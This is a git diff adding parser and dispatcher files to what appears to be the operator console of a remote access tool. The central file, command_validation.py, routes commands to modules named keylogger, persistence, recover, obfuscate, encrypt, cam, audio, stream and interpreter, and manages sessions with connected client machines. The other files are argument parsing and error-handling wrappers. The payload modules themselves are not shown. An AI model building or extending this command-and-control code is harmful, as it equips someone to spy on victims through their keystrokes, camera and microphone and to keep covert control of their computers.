diff options
Diffstat (limited to 'domestic/parse')
-rw-r--r-- | domestic/parse/alias_parser.py | 22 | ||||
-rw-r--r-- | domestic/parse/command_argument_parser.py | 21 | ||||
-rw-r--r-- | domestic/parse/command_validation.py | 98 | ||||
-rw-r--r-- | domestic/parse/error_exception_handling.py | 41 | ||||
-rw-r--r-- | domestic/parse/internal_server_error_exception_handling.py | 30 |
5 files changed, 212 insertions, 0 deletions
diff --git a/domestic/parse/alias_parser.py b/domestic/parse/alias_parser.py new file mode 100644 index 0000000..e1b010d --- /dev/null +++ b/domestic/parse/alias_parser.py @@ -0,0 +1,22 @@ +import os + +from domestic.utility.read_file import * +from domestic.global_state import * + + +def alias_parser(data): + if os.path.isfile(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt'): + filesize = os.path.getsize(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt') + + if filesize != state['settings']['dynamic']['alias-size']: + state['settings']['dynamic']['alias-data'] = read_file(f'{state["root"]}/{state["settings"]["folders"]["parent"]}/alias.txt').decode(state['settings']['encoding']).strip().split('\n') + state['settings']['dynamic']['alias-size'] = filesize + + for alias in state['settings']['dynamic']['alias-data']: + key_value = alias.split('=') + + if len(key_value) == 2: + if data == key_value[0]: + return key_value[1] + + return data
\ No newline at end of file diff --git a/domestic/parse/command_argument_parser.py b/domestic/parse/command_argument_parser.py new file mode 100644 index 0000000..9358d76 --- /dev/null +++ b/domestic/parse/command_argument_parser.py @@ -0,0 +1,21 @@ +def command_argument_parser(message): + arguments = message.split('--') + first = arguments[0] + + if first.endswith(' '): + first = first[:-1] + + arguments_dict = {'message': first} + + for argument in arguments[1:]: + key_value_list = [y for y in argument.split(' ') if y != ''] + + key = key_value_list[0] + value = key_value_list[1:] + + if len(key_value_list) == 1: + arguments_dict[key] = True + else: + arguments_dict[key] = ' '.join(value) + + return arguments_dict
\ No newline at end of file diff --git a/domestic/parse/command_validation.py b/domestic/parse/command_validation.py new file mode 100644 index 0000000..4669fa8 --- /dev/null +++ b/domestic/parse/command_validation.py @@ -0,0 +1,98 @@ +from domestic.session.server_handling.persistence import * +from domestic.session.server_handling.interpreter import * +from domestic.session.server_handling.messagebox import * +from domestic.session.server_handling.keylogger import * +from domestic.session.server_handling.keystroke import * +from domestic.session.server_handling.obfuscate import * +from domestic.session.server_handling.download import * +from domestic.session.server_handling.encrypt import * +from domestic.session.server_handling.recover import * +from domestic.session.server_handling.website import * +from domestic.session.server_handling.upload import * +from domestic.session.server_handling.system import * +from domestic.session.server_handling.image import * +from domestic.session.server_handling.cd import * +from domestic.session.session_message import * +from domestic.globally.exit_program import * +from domestic.globally.clear_screen import * +from domestic.session.enter_session import * +from domestic.session.exit_session import * +from domestic.shell.list_clients import * +from domestic.globally.get_help import * +from domestic.globally.sockets import * +from domestic.globally.options import * +from domestic.modules.stream import * +from domestic.modules.audio import * +from domestic.modules.talk import * +from domestic.global_state import * +from domestic.shell.server import * +from domestic.shell.delete import * +from domestic.shell.stdout import * +from domestic.modules.cam import * + + +def command_validation(message): + low_message = message['message'].lower() + + if low_message == 'help': + get_help() + elif low_message == 'exit': + exit_program() + elif low_message == 'clear': + clear_screen() + elif low_message == 'sockets': + sockets() + elif low_message == 'options': + options(message) + elif low_message == 'stream': + stream(message) + elif low_message == 'cam': + cam(message) + elif low_message == 'audio': + audio(message) + elif low_message == 'talk': + talk(message) + elif state['session']['active']: + if low_message == 'break': + exit_session() + elif low_message == 'cd': + cd(message) + elif low_message == 'image': + image(message) + elif low_message == 'upload': + upload(message) + elif low_message == 'download': + download(message) + elif low_message == 'encrypt': + encrypt(message) + elif low_message == 'interpreter': + interpreter(message) + elif low_message == 'keylogger': + keylogger(message) + elif low_message == 'keystroke': + keystroke(message) + elif low_message == 'persistence': + persistence(message) + elif low_message == 'system': + system(message) + elif low_message == 'recover': + recover(message) + elif low_message == 'obfuscate': + obfuscate(message) + elif low_message == 'website': + website(message) + elif low_message == 'messagebox': + messagebox(message) + else: + session_message(message) + else: + if low_message == 'list': + list_clients() + elif low_message == 'server': + server(message) + elif low_message == 'delete': + delete(message) + elif low_message == 'session': + enter_session(message) + else: + stdout(low_message, message)
\ No newline at end of file diff --git a/domestic/parse/error_exception_handling.py b/domestic/parse/error_exception_handling.py new file mode 100644 index 0000000..286b3c2 --- /dev/null +++ b/domestic/parse/error_exception_handling.py @@ -0,0 +1,41 @@ +from domestic.utility.validate_dict_key import * +from domestic.utility.status_message import * +from domestic.utility.write_error import * +from domestic.globally.get_help import * +from domestic.global_state import * + + +def error_exception_handling(func): + def func_wrapper(*args): + try: + number_of_arguments = len(args) + + if number_of_arguments == 1: + func(args[0]) + elif number_of_arguments == 2: + func(args[0], args[1]) + elif number_of_arguments == 3: + func(args[0], args[1], args[2]) + elif number_of_arguments == 4: + func(args[0], args[1], args[2], args[3]) + elif number_of_arguments == 5: + func(args[0], args[1], args[2], args[3], args[4]) + elif number_of_arguments == 6: + func(args[0], args[1], args[2], args[3], args[4], args[5]) + elif number_of_arguments == 7: + func(args[0], args[1], args[2], args[3], args[4], args[5], args[6]) + except Exception as err: + write_error(err) + + if state['session']['active'] and func.__name__ in [*state['sockets']['modules']]: + func_key = validate_dict_key(help_obj, f'{func.__name__}_2', False) + elif func.__name__ == 'listening': + func_key = validate_dict_key(help_obj, 'listen', False) + else: + func_key = validate_dict_key(help_obj, func.__name__, False) + + if func_key: + status_message(f'An exception was reached, please verify your input & try again\nUsage: {func_key["usage"]}', 'danger') + else: + status_message('Exception was reached, something went wrong\nPlease validate your input & try again', 'danger') + return func_wrapper
\ No newline at end of file diff --git a/domestic/parse/internal_server_error_exception_handling.py b/domestic/parse/internal_server_error_exception_handling.py new file mode 100644 index 0000000..0cf3602 --- /dev/null +++ b/domestic/parse/internal_server_error_exception_handling.py @@ -0,0 +1,30 @@ +import sys + +from domestic.utility.write_error import * + + +def internal_server_error_exception_handling(func): + def func_wrapper(*args): + try: + number_of_arguments = len(args) + + if number_of_arguments == 0: + func() + elif number_of_arguments == 1: + func(args[0]) + elif number_of_arguments == 2: + func(args[0], args[1]) + elif number_of_arguments == 3: + func(args[0], args[1], args[2]) + elif number_of_arguments == 4: + func(args[0], args[1], args[2], args[3]) + elif number_of_arguments == 5: + func(args[0], args[1], args[2], args[3], args[4]) + elif number_of_arguments == 6: + func(args[0], args[1], args[2], args[3], args[4], args[5]) + elif number_of_arguments == 7: + func(args[0], args[1], args[2], args[3], args[4], args[5], args[6]) + except Exception as err: + write_error(err) + sys.exit(0) + return func_wrapper
\ No newline at end of file |